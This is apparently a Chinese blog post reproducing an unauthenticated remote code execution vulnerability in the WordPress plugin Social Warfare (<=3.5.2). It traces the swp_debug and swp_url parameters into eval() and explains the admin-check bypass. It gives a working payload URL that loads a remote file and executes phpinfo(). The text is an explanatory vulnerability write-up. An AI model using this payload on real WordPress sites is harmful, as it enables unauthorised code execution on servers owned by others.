漏洞分析

漏洞成因 参数传入eval时候未进行让任何除害操作

 wordpress插件social-warfare<=3.5.2未授权RCE复现

 

 首先debug返回True很简单 我们来看debug函数 两个条件 url传参数等于函数传参

wordpress插件social-warfare<=3.5.2未授权RCE复现

 

后面file_get_contents对传入url进行处理 这里我们可以构造恶意文件让从来导致option参数受我们的控制

wordpress插件social-warfare<=3.5.2未授权RCE复现

 

 

option必须不为空 切初始位置必须以<pre>开头

 wordpress插件social-warfare<=3.5.2未授权RCE复现

 

 

替换<pre>为空并且提取</pre>之前的内容

 wordpress插件social-warfare<=3.5.2未授权RCE复现

 

 以数组的形式返回给eval 从而造成RCE

因此我们构造payload

http://www.zhong.com/wordpress/wp-admin//?swp_debug=load_options&swp_url=http://www.zhong.com/1.txt&love=phpinfo();

 按道理说这里第一步进行admin_ture验证是不行的 但是这里

wordpress插件social-warfare<=3.5.2未授权RCE复现

 

 

如果未定义admin——ture的值那么设定为Ture 所以逻辑绕过了非admin触发poc

 wordpress插件social-warfare<=3.5.2未授权RCE复现

 

文献参考

https://paper.seebug.org/919/
https://www.4hou.com/
php中文网

 

相关文章:

  • 2021-08-29
  • 2021-08-12
  • 2021-10-15
  • 2021-11-25
  • 2021-05-17
  • 2021-09-14
  • 2021-08-23
  • 2021-07-15
猜你喜欢
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2021-04-25
  • 2022-12-23
  • 2021-06-17
  • 2021-08-29
相关资源
相似解决方案